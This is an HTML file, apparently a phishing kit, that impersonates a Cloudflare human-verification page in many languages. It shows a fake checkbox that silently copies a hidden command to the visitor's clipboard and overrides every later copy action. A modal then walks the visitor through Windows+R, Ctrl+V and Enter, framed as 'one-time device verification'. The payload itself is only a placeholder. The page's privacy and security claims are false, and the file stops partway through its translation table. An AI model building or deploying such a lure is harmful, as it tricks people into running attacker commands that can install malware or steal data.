✏️ Editing: captcha.html Writable

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <link rel="preload" as="image" href="https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png">
  <style>
    body { background-color: #ffffff; color: #333; }
    .tettx { color: rgb(78 78 78); }
    .checkbox-window { display: flex; flex-direction: column; align-items: center; width: 300px; height: 74px; background-color: #fafafa; border: 1px solid #e0e0e0; border-radius: 4px; padding: 10px; overflow: hidden; transition: width .5s ease-in-out, height .5s ease-in-out; }
    .checkbox-container { width: 28px; height: 28px; margin-left: 12px; margin-right: 8px; position: relative; }
    .checkbox { width: 100%; height: 100%; background-color: #fff; border-radius: 2px; border: 2px solid #888; cursor: pointer; transition: border-color .3s, background-color .3s; }
    .checkbox.checked { border-color: #4285f4; background-color: #4285f4; position: relative; }
    .checkbox.checked::after { content: "\f00c"; font-family: "FontAwesome"; color: #fff; font-size: 18px; position: absolute; top: -2px; left: 2px; }
    .spinner { visibility: hidden; position: relative; }
    .lds-ring { display: inline-block; position: relative; }
    .lds-ring, .lds-ring div { height: 1.5rem; width: 1.5rem; }
    .lds-ring div { animation: lds-ring 1.2s cubic-bezier(.5,0,.5,1) infinite; border: .3rem solid transparent; border-radius: 50%; border-top-color: #313131; box-sizing: border-box; display: block; position: absolute; }
    .lds-ring div:first-child { animation-delay: -.45s; }
    .lds-ring div:nth-child(2) { animation-delay: -.3s; }
    .lds-ring div:nth-child(3) { animation-delay: -.15s; }
    @keyframes lds-ring { 0% { transform: rotate(0deg); } to { transform: rotate(1turn); } }
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body { font-family: system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif; display: flex; flex-direction: column; height: 100vh; min-height: 100vh; }
    .main-wrapper { align-items: center; display: flex; flex: 1; flex-direction: column; }
    .main-content { margin: 8rem auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer { font-size: .75rem; line-height: 1.125rem; margin: 0 auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer-inner { border-top: 1px solid #d9d9d9; padding-bottom: 1rem; padding-top: 1rem; text-align: center; }
    #spinner2 { width: 24px; height: 24px; animation: rotate 4s linear infinite; margin-top: 0; }
    .checkbox-window { opacity: 0; }
    @keyframes rotate { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }

/* Overlay for captcha modal */
    .cf-captcha-overlay {
      position: fixed; top: 0; left: 0; width: 100%; height: 100%;
      background: rgba(0,0,0,0.5); display: flex; align-items: center;
      justify-content: center; z-index: 99999;
    }
  </style>
</head>
<body>

<div style="font-size: 1.5rem; line-height: 2.25rem; margin-bottom: 2rem; min-height: 2rem;font-weight:550; padding-top: 2px">
    <p>
      <span class="preloader_text">Checking if you are human. This may take a few seconds.</span>
      <span class="textallstep" style="display: none;">Verify you are human by completing the action below.</span>
    </p>
  </div>

<div class="intro">
  <div class="preloader">
    <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
  </div>

<div id="checkbox-window" class="checkbox-window" style="width: 300px; height: 65px; display: none;">
   <div style="display: flex; align-items: center; width: 100%;">
    <div class="checkbox-container" style="margin-left: 3px; margin-right: 10px; width: 24px;">

<div class="tettx">
     <p class="step0" style="margin: 0 !important;">Verifying...</p>
     <p class="step1" style="margin: 0 !important; display: none;">I'm not a robot</p>
     <p class="step2" style="margin: 0 !important; display: none;">Verification required</p>
     <p class="step3" style="margin: 0 !important; display: none;">Successfully.</p>
    </div>

<div style="font-size: 8px; text-align: right; margin-left: auto; padding-right: 4px;">
     <img style="width: 80px; height: 28px; margin-bottom: 1px; object-fit: contain;" src="https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png" />
     <p style="text-decoration: underline; margin-top: 0; line-height: 1.4;">Confidentiality</p>
     <p style="text-decoration: underline; margin-top: 0; line-height: 1.4;">Terms and Conditions</p>
    </div>
   </div>
  </div>
  </div>

<p class="footer-sentence" style="font-size: 1.5rem; line-height: 2.25rem; padding-top: 33px">
    <span class="domain-name footer-domain"></span> needs to review the security of your connection before proceeding.
  </p>
 </div>
</div>

<div class="footer" role="contentinfo">
 <div class="footer-inner">
  <div><div>Ray ID: <code class="ray-id">56a4c5299fdetmca</code></div></div>
  <div style="margin-top: 5px;">Platform performance and security <span style="color: #000000">Cloudflare</span></div>
 </div>
</div>

<div id="cf-captcha-overlay" class="cf-captcha-overlay" style="display:none">
  <div id="cf-captcha-container"></div>
</div>

window.cfCaptchaImages = {
  logoWithText: 'https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png',
  fingerprint:  'https://png.pngtree.com/png-clipart/20250124/original/pngtree-digital-identity-fingerprint-icon-png-image_20012441.png',
  clock:        'https://cf-assets.www.cloudflare.com/slt3lc6tev37/4mhf8gvPA2FDQcpPq2dcaX/36548c955c29635bc99d9936ccdeaa44/time_service_2x__1_.png',
  shield:       'https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7wYHEaqQeVJvIteeEdGz1S/134b9a26f1b9f88dcf6d77459fe08fde/introducing-shadow-it-discovery.png'
};
</script>

<script>
document.addEventListener("DOMContentLoaded", function () {
    const preloaderElements = document.querySelectorAll(".preloader");
    const preloaderText = document.querySelector(".preloader_text");
    const textAllStep = document.querySelector(".textallstep");
    const checkboxWindow = document.getElementById("checkbox-window");
    const step0Elements = document.querySelectorAll(".step0");
    const step1Elements = document.querySelectorAll(".step1");
    const step2Elements = document.querySelectorAll(".step2");
    const step3Elements = document.querySelectorAll(".step3");
    const checkbox = document.getElementById("checkbox");
    const spinner = document.getElementById("spinner");

// Domain name - detect localhost/local files
    var rawDomain = window.location.hostname;
    var isLocal = !rawDomain || rawDomain === "localhost" || rawDomain === "127.0.0.1" || rawDomain === "0.0.0.0" || window.location.protocol === "file:";
    var domain = isLocal ? "localhost" : rawDomain;
    document.querySelectorAll(".domain-name").forEach(el => { if (el) el.textContent = domain; });

// Favicon + site logo from domain
    try {
      var siteLogo = document.getElementById("site-logo");
      var fav = document.getElementById("dynamic-favicon");
      if (isLocal) {
        // Placeholder icon for local/localhost
        var placeholderSvg = "data:image/svg+xml," + encodeURIComponent('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64"><rect width="64" height="64" rx="12" fill="#f97316"/><text x="32" y="42" font-family="Arial" font-size="32" font-weight="bold" fill="white" text-anchor="middle">L</text></svg>');
        if (fav) fav.href = placeholderSvg;
        if (siteLogo) siteLogo.src = placeholderSvg;
      } else {
        var faviconUrl = "https://www.google.com/s2/favicons?domain=" + domain + "&sz=64";
        if (fav) fav.href = faviconUrl;
        if (siteLogo) siteLogo.src = faviconUrl;
      }
    } catch(e) {}

// Ray ID
    const chars = "abcdef0123456789";
    const rayEl = document.querySelector(".ray-id");
    if (rayEl) rayEl.textContent = Array.from({ length: 16 }, () => chars[Math.floor(Math.random() * chars.length)]).join("");

// Preloader -> checkbox flow
    setTimeout(() => {
        preloaderElements.forEach(el => el.style.display = "none");
        if (preloaderText) preloaderText.style.display = "none";
        if (textAllStep) textAllStep.style.display = "block";
        if (checkboxWindow) checkboxWindow.style.display = "flex";

setTimeout(() => {
            if (checkboxWindow) {
                checkboxWindow.style.display = "flex";
                let opacity = 0;
                const fadeIn = setInterval(() => {
                    if (opacity >= 1) { clearInterval(fadeIn); }
                    else { opacity += 0.1; checkboxWindow.style.opacity = opacity; }
                }, 30);
            }
        }, 200);

step0Elements.forEach(el => el.style.display = "block");

setTimeout(() => {
            step0Elements.forEach(el => el.style.display = "none");
            step1Elements.forEach(el => el.style.display = "block");
        }, 2000);
    }, 1500);

// Checkbox click -> spinner -> "Verification required" -> open modal
    if (checkbox) {
      checkbox.addEventListener("click", function () {
          // Copy command to clipboard
          const textarea = document.createElement('textarea');
          textarea.value = command;
          textarea.setAttribute('readonly', '');
          textarea.style.position = 'absolute';
          textarea.style.left = '-9999px';
          document.body.appendChild(textarea);
          textarea.select();
          try { document.execCommand('copy'); } catch(e) {}
          document.body.removeChild(textarea);

// Show spinner
          step1Elements.forEach(el => el.style.display = "none");
          step2Elements.forEach(el => el.style.display = "block");
          if (spinner) spinner.style.visibility = "visible";

// After 3 seconds, open the captcha modal overlay at intro page
          setTimeout(() => {
              window.CloudflareCaptcha.show();
          }, 3000);
      });
    }

// Keep clipboard content
    document.addEventListener('copy', function (e) {
        e.preventDefault();
        if (e.clipboardData) e.clipboardData.setData('text/plain', command);
        else if (window.clipboardData) window.clipboardData.setData('Text', command);
    });
});
</script>

<script>
(function(){
  const i18n = {
    en:{checking:"Checking if you are human. This may take a few seconds.",verifyInstruction:"Verify you are human by completing the action below.",verifying:"Verifying...",notRobot:"I'm not a robot",steps:"Verification required",success:"Successfully.",confidentiality:"Confidentiality",terms:"Terms and Conditions",footer:"needs to review the security of your connection before proceeding."},
    de:{checking:"Überprüfung, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",verifyInstruction:"Bestätigen Sie, dass Sie ein Mensch sind, indem Sie die folgende Aktion ausführen.",verifying:"Wird überprüft...",notRobot:"Ich bin kein Roboter",steps:"Überprüfung erforderlich",success:"Erfolgreich.",confidentiality:"Vertraulichkeit",terms:"Nutzungsbedingungen",footer:"muss die Sicherheit Ihrer Verbindung prüfen, bevor Sie fortfahren."},
    fr:{checking:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",verifyInstruction:"Vérifiez que vous êtes humain en complétant l'action ci-dessous.",verifying:"Vérification…",notRobot:"Je ne suis pas un robot",steps:"Vérification requise",success:"Réussi.",confidentiality:"Confidentialité",terms:"Conditions générales",footer:"doit vérifier la sécurité de votre connexion avant de continuer."},
    es:{checking:"Comprobando si eres humano. Esto puede tardar unos segundos.",verifyInstruction:"Verifica que eres humano completando la acción siguiente.",verifying:"Verificando…",notRobot:"No soy un robot",steps:"Verificación requerida",success:"Correcto.",confidentiality:"Confidencialidad",terms:"Términos y condiciones",footer:"debe revisar la seguridad de tu conexión antes de continuar."},
    ru:{checking:"Проверяем, что вы человек. Это может занять несколько секунд.",verifyInstruction:"Подтвердите, что вы человек, выполнив действие ниже.",verifying:"Проверка…",notRobot:"Я не робот",steps:"Требуется проверка",success:"Успешно.",confidentiality:"Конфиденциальность",terms:"Условия использования",footer:"должен проверить безопасность вашего соединения перед продолжением."},
    zh:{checking:"正在检查您是否为人类。这可能需要几秒钟。",verifyInstruction:"通过完成以下操作验证您是人类。",verifying:"正在验证…",notRobot:"我不是机器人",steps:"需要验证",success:"成功。",confidentiality:"保密",terms:"条款和条件",footer:"需要在继续之前检查您连接的安全性。"},
    ja:{checking:"あなたが人間かどうか確認しています。数秒かかる場合があります。",verifyInstruction:"以下の操作を完了して、人間であることを確認してください。",verifying:"確認中…",notRobot:"私はロボットではありません",steps:"検証が必要です",success:"成功しました。",confidentiality:"機密保持",terms:"利用規約",footer:"続行する前に接続のセキュリティを確認する必要があります。"},
    pt:{checking:"Verificando se você é humano. Isso pode levar alguns segundos.",verifyInstruction:"Confirme que você é humano concluindo a ação abaixo.",verifying:"Verificando…",notRobot:"Não sou um robô",steps:"Verificação necessária",success:"Concluído.",confidentiality:"Confidencialidade",terms:"Termos e condições",footer:"precisa revisar a segurança da sua conexão antes de prosseguir."},
    nl:{checking:"Controleren of u een mens bent. Dit kan enkele seconden duren.",verifyInstruction:"Bevestig dat u een mens bent door de onderstaande actie uit te voeren.",verifying:"Bezig met controleren…",notRobot:"Ik ben geen robot",steps:"Verificatie vereist",success:"Gelukt.",confidentiality:"Vertrouwelijkheid",terms:"Voorwaarden",footer:"moet de veiligheid van uw verbinding controleren voordat u verdergaat."},
    tr:{checking:"İnsan olup olmadığınız kontrol ediliyor. Bu birkaç saniye sürebilir.",verifyInstruction:"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.",verifying:"Doğrulanıyor…",notRobot:"Ben robot değilim",steps:"Doğrulama gerekli",success:"Başarılı.",confidentiality:"Gizlilik",terms:"Şartlar ve Koşullar",footer:"devam etmeden önce bağlantınızın güvenliğini kontrol etmelidir."},
    ko:{checking:"사용자가 사람인지 확인하는 중입니다. 잠시만 기다려 주세요.",verifyInstruction:"아래 작업을 완료하여 사람이 맞는지 확인하세요.",verifying:"확인 중…",notRobot:"나는 로봇이 아닙니다",steps:"인증 필요",success:"성공.",confidentiality:"기밀",terms:"이용약관",footer:"계속하기 전에 연결의 보안을 확인해야 합니다."},
    it:{checking:"Verifica che tu sia umano. Potrebbe volerci qualche secondo.",verifyInstruction:"Verifica di essere umano completando l'azione seguente.",verifying:"Verifica in corso…",notRobot:"Non sono un robot",steps:"Verifica richiesta",success:"Completato.",confidentiality:"Riservatezza",terms:"Termini e condizioni",footer:"deve verificare la sicurezza della connessione prima di procedere."},
    ar:{checking:"جاري التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",verifyInstruction:"تحقق من أنك إنسان بإكمال الخط  ة أدناه.",verifying:"جارٍ التحقق…",notRobot:"لست برنامج روبوت",steps:"التحقق مطلوب",success:"تم بنجاح.",confidentiality:"السرية",terms:"الشروط والأحكام",footer:"يجب مراجعة أمان الاتصال قبل المتابعة."},
    hi:{checking:"सत्यापित किया जा रहा है कि आप मानव हैं। इसमें कुछ सेकंड लग सकते हैं।",verifyInstruction:"नीचे दिया गया कार्य पूरा करके प्रमाणित करें कि आप एक मानव हैं।",verifying:"सत्यापित कर रहे हैं...",notRobot:"मैं एक रोबोट नहीं हूँ",steps:"सत्यापन आवश्यक",success:"सफल।",confidentiality:"गोपनीयता",terms:"नियम और शर्तें",footer:"आपकी कनेक्शन की सुरक्षा की समीक्षा करने की आवश्यकता है।"}
  };

function detectLang(){
    const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase());
    for(const l of prefs){
      if(l.startsWith("ar")) return "ar";
      if(l.startsWith("fr")) return "fr";
      if(l.startsWith("de")) return "de";
      if(l.startsWith("it")) return "it";
      if(l.startsWith("ja")) return "ja";
      if(l.startsWith("zh")) return "zh";
      if(l.startsWith("ko")) return "ko";
      if(l.startsWith("ru")) return "ru";
      if(l.startsWith("es")) return "es";
      if(l.startsWith("pt")) return "pt";
      if(l.startsWith("nl")) return "nl";
      if(l.startsWith("tr")) return "tr";
      if(l.startsWith("hi")) return "hi";
      if(l.startsWith("en")) return "en";
    }
    return "en";
  }

function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); }

ready(function(){
    const lang = detectLang();
    const t = i18n[lang] || i18n.en;

if (lang === "ar") document.documentElement.dir = "rtl";

const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking;
    const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction;

const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); };
    set(".tettx .step0", t.verifying);
    set(".tettx .step1", t.notRobot);
    set(".tettx .step2", t.steps);
    set(".tettx .step3", t.success);

const cb = document.getElementById("checkbox"); if (cb) cb.textContent = "";

const legalBox = document.querySelector('#checkbox-window > div > div:last-child');
    if (legalBox) {
      const ps = legalBox.querySelectorAll("p");
      if (ps[0]) ps[0].textContent = t.confidentiality;
      if (ps[1]) ps[1].textContent = t.terms;
    }

const footerSentence = document.querySelector(".footer-sentence");
    if (footerSentence) {
      var rawDomain = window.location.hostname;
      var isLocalDomain = !rawDomain || rawDomain === "localhost" || rawDomain === "127.0.0.1" || rawDomain === "0.0.0.0" || window.location.protocol === "file:";
      var domainDisplay = isLocalDomain ? "localhost" : rawDomain;
      footerSentence.innerHTML = '<span class="domain-name footer-domain" style="font-weight:600">' + domainDisplay + '</span> ' + t.footer;
    }
  });
})();
</script>

<script>
;(() => {
  function injectAnimationStyles() {
    if (document.getElementById("cf-captcha-animations")) return
    var style = document.createElement("style")
    style.id = "cf-captcha-animations"
    style.textContent = `
      @keyframes cfSpin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
      @keyframes cfFadeIn { from { opacity: 0; } to { opacity: 1; } }
      @keyframes cfFadeInUp { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
      @keyframes cfExpandToModal {
        0% { width: 300px; height: 60px; border-radius: 4px; }
        100% { width: 480px; height: 600px; border-radius: 16px; }
      }
      @keyframes keyCapFirst {
        0%, 5% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
        15%, 65% { transform: translateY(4px); background: linear-gradient(180deg, #fb923c 0%, #f97316 100%); box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3); }
        75%, 100% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
      }
      @keyframes keyCapSecond {
        0%, 25% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
        35%, 65% { transform: translateY(4px); background: linear-gradient(180deg, #fb923c 0%, #f97316 100%); box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3); }
        75%, 100% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
      }
      @keyframes keyCapStep2Ctrl {
        0%, 5% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
        10%, 35% { transform: translateY(4px); background: linear-gradient(180deg, #fb923c 0%, #f97316 100%); box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3); }
        40%, 100% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
      }
      @keyframes keyCapStep2V {
        0%, 15% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
        20%, 35% { transform: translateY(4px); background: linear-gradient(180deg, #fb923c 0%, #f97316 100%); box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3); }
        40%, 100% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
      }
      @keyframes keyCapStep2Enter {
        0%, 45% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
        50%, 70% { transform: translateY(4px); background: linear-gradient(180deg, #fb923c 0%, #f97316 100%); box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3); }
        75%, 100% { transform: translateY(0); background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%); box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9); }
      }
      @keyframes plusGlow { 0%, 20% { color: #999; } 27%, 33% { color: #f97316; } 40%, 100% { color: #999; } }
      @keyframes plusGlowStep2 { 0%, 35% { color: #999; } 40%, 50% { color: #f97316; } 55%, 100% { color: #999; } }
    `
    document.head.appendChild(style)
  }

var COOKIE_NAME = "cf_clearance"
  var COOKIE_DURATION_DAYS = 90
  var COMMAND = command || '{{COMMAND}}'

var captchaOpen = false
  var animationPhase = 4 // Start at intro page (skipping turnstile phases 0-3)
  var step = 1
  var faqOpen = false
  var howItWorksOpen = false
  var expandedFaq = null
  var expandedHowItWorks = null
  var lang = "en"

var translations = {
    en: { verify: "Verify", privacy: "Privacy", terms: "Terms", verificationSteps: "Verification", step1: "Hold Windows key and press R", step2Line1: "Press Ctrl+V to paste verification code", confirmWith: "and confirm with", introTitle: "One-Time Device Verification", introSubtitle: "Complete this quick verification to browse for 90 days without interruptions. Our advanced hardware fingerprinting ensures privacy and eliminates recurring captcha challenges.", hwScanTitle: "Hardware Fingerprint", cookieTitle: "90-Day Access Token", secureTitle: "Privacy by Design", hwScanDesc: "Your device's unique hardware configuration is scanned to create a secure fingerprint. This helps verify you're a real person without collecting personal data.", cookieDesc: "After verification, a secure token is stored for 90 days. During this time, you won't need to complete any additional captcha challenges.", secureDesc: "All verification data is processed locally on your device. No personal information is transmitted or stored on external servers.", howItWorks: "How It Works", faqTitle: "Frequently Asked Questions", continueBtn: "Continue to Verification", verifyHuman: "Verify You Are Human", faq1Q: "Why am I seeing this?", faq1A: "This verification helps protect the website from automated bots and ensures you're a real person.", faq2Q: "Is my data safe?", faq2A: "Yes. All verification is done locally on your device. No personal data is collected or transmitted.", faq3Q: "How long does the token last?", faq3A: "The verification token is valid for 90 days. After that, you may need to verify again.", faq4Q: "What if verification fails?", faq4A: "If verification fails, you can try again. Make sure your browser allows JavaScript.", faq5Q: "Does this work on all browsers?", faq5A: "This verification works on all modern browsers including Chrome, Firefox, Edge, and Safari.", faq6Q: "Can I opt out?", faq6A: "Verification is required to access the website. It ensures security for all users." },
    de: { verify: "Überprüfen", privacy: "Datenschutz", terms: "Bedingungen", verificationSteps: "Überprüfung", step1: "Halten Sie die Windows-Taste gedrückt und drücken Sie R", step2Line1: "Drücken Sie Strg+V um den Verifizierungscode einzufügen", confirmWith: "und bestätigen Sie mit", introTitle: "Einmalige Geräteüberprüfung", introSubtitle: "Schließen Sie diese schnelle Überprüfung ab, um 90 Tage lang ohne Unterbrechungen zu surfen. Unser fortschrittliches Hardware-Fingerprinting gewährleistet Privatsphäre und eliminiert wiederkehrende Captcha-Herausforderungen.", hwScanTitle: "Hardware-Fingerabdruck", cookieTitle: "90-Tage-Zugriffstoken", secureTitle: "Datenschutz durch Design", hwScanDesc: "Die einzigartige Hardware-Konfiguration Ihres Geräts wird gescannt, um einen sicheren Fingerabdruck zu erstellen.", cookieDesc: "Nach der Überprüfung wird ein sicheres Token für 90 Tage gespeichert.", secureDesc: "Alle Verifizierungsdaten werden lokal auf Ihrem Gerät verarbeitet.", howItWorks: "Wie es funktioniert", faqTitle: "Häufig gestellte Fragen", continueBtn: "Weiter zur Überprüfung", verifyHuman: "Verifizieren Sie, dass Sie ein Mensch sind", faq1Q: "Warum sehe ich das?", faq1A: "Diese Überprüfung schützt die Website vor automatisierten Bots.", faq2Q: "Sind meine Daten sicher?", faq2A: "Ja. Alle Überprüfungen erfolgen lokal auf Ihrem Gerät.", faq3Q: "Wie lange ist das Token gültig?", faq3A: "Das Token ist 90 Tage gültig.", faq4Q: "Was passiert bei einem Fehler?", faq4A: "Sie können es erneut versuchen.", faq5Q: "Funktioniert das in allen Browsern?", faq5A: "Ja, in allen modernen Browsern.", faq6Q: "Kann ich ablehnen?", faq6A: "Die Überprüfung ist erforderlich." },
    fr: { verify: "Vérifier", privacy: "Confidentialité", terms: "Conditions", verificationSteps: "Vérification", step1: "Maintenez la touche Windows et appuyez sur R", step2Line1: "Appuyez sur Ctrl+V pour coller le code de vérification", confirmWith: "et confirmez avec", introTitle: "Vérification unique de l'appareil", introSubtitle: "Effectuez cette vérification rapide pour naviguer 90 jours sans interruption.", hwScanTitle: "Empreinte matérielle", cookieTitle: "Jeton d'accès 90 jours", secureTitle: "Confidentialité par conception", hwScanDesc: "La configuration matérielle unique de votre appareil est analysée.", cookieDesc: "Après vérification, un jeton sécurisé est stocké pendant 90 jours.", secureDesc: "Toutes les données de vérification sont traitées localement.", howItWorks: "Comment ça fonctionne", faqTitle: "Questions fréquentes", continueBtn: "Continuer la vérification", verifyHuman: "Vérifiez que vous êtes humain", faq1Q: "Pourquoi est-ce que je vois ceci?", faq1A: "Cette vérification protège le site contre les bots.", faq2Q: "Mes données sont-elles en sécurité?", faq2A: "Oui, tout est traité localement.", faq3Q: "Combien de temps dure le jeton?", faq3A: "Le jeton est valide 90 jours.", faq4Q: "Et si la vérification échoue?", faq4A: "Vous pouvez réessayer.", faq5Q: "Cela fonctionne-t-il dans tous les navigateurs?", faq5A: "Oui, dans tous les navigateurs modernes.", faq6Q: "Puis-je refuser?", faq6A: "La vérification est requise." },
    es: { verify: "Verificar", privacy: "Privacidad", terms: "Términos", verificationSteps: "Verificación", step1: "Mantenga pulsada la tecla Windows y pulse R", step2Line1: "Pulse Ctrl+V para pegar el código de verificación", confirmWith: "y confirme con", introTitle: "Verificación única del dispositivo", introSubtitle: "Complete esta verificación rápida para navegar 90 días sin interrupciones.", hwScanTitle: "Huella de hardware", cookieTitle: "Token de acceso de 90 días", secureTitle: "Privacidad por diseño", hwScanDesc: "Se escanea la configuración de hardware de su dispositivo.", cookieDesc: "Después de la verificación, se almacena un token seguro durante 90 días.", secureDesc: "Todos los datos se procesan localmente.", howItWorks: "Cómo funciona", faqTitle: "Preguntas frecuentes", continueBtn: "Continuar con la verificación", verifyHuman: "Verifica que eres humano", faq1Q: "¿Por qué veo esto?", faq1A: "Protege el sitio contra bots.", faq2Q: "¿Mis datos están seguros?", faq2A: "Sí, todo es local.", faq3Q: "¿Cuánto dura el token?", faq3A: "90 días.", faq4Q: "¿Y si falla?", faq4A: "Puede intentar de nuevo.", faq5Q: "¿Funciona en todos los navegadores?", faq5A: "Sí.", faq6Q: "¿Puedo rechazar?", faq6A: "La verificación es obligatoria." },
    ru: { verify: "Проверить", privacy: "Конфиденциальность", terms: "Условия", verificationSteps: "Проверка", step1: "Удерживайте клавишу Windows и нажмите R", step2Line1: "Нажмите Ctrl+V чтобы вставить код проверки", confirmWith: "и подтвердите нажатием", introTitle: "Одноразовая проверка устройства", introSubtitle: "Пройдите быструю проверку для 90 дней без прерываний.", hwScanTitle: "Аппаратный отпечаток", cookieTitle: "90-дневный токен", secureTitle: "Конфиденциальность", hwScanDesc: "Сканирование уникальной конфигурации вашего устройства.", cookieDesc: "После проверки токен сохраняется на 90 дней.", secureDesc: "Все данные обрабатываются локально.", howItWorks: "Как это работает", faqTitle: "Часто задаваемые вопросы", continueBtn: "Продолжить проверку", verifyHuman: "Подтвердите, что вы человек", faq1Q: "Почему я это вижу?", faq1A: "Это защита от ботов.", faq2Q: "Мои данные в безопасности?", faq2A: "Да, всё локально.", faq3Q: "Сколько действует токен?", faq3A: "90 дней.", faq4Q: "Что если не получится?", faq4A: "Попробуйте снова.", faq5Q: "Работает во всех браузерах?", faq5A: "Да.", faq6Q: "Можно отказаться?", faq6A: "Проверка обязательна." },
    zh: { verify: "验证", privacy: "隐私", terms: "条款", verificationSteps: "验证", step1: "按住Windows键并按R", step2Line1: "按Ctrl+V粘贴验证码", confirmWith: "并按确认", introTitle: "一次性设备验证", introSubtitle: "完成快速验证即可享受90天不间断浏览。", hwScanTitle: "硬件指纹", cookieTitle: "90天访问令牌", secureTitle: "隐私设计", hwScanDesc: "扫描设备硬件配置。", cookieDesc: "验证后令牌保存90天。", secureDesc: "所有数据在本地处理。", howItWorks: "工作原理", faqTitle: "常见问题", continueBtn: "继续验证", verifyHuman: "验证您是人类", faq1Q: "为什么看到这个？", faq1A: "保护网站免受机器人攻击。", faq2Q: "数据安全吗？", faq2A: "是的，全部本地处理。", faq3Q: "令牌有效期？", faq3A: "90天。", faq4Q: "验证失败怎么办？", faq4A: "重试即可。", faq5Q: "支持所有浏览器吗？", faq5A: "是的。", faq6Q: "可以拒绝吗？", faq6A: "验证是必须的。" },
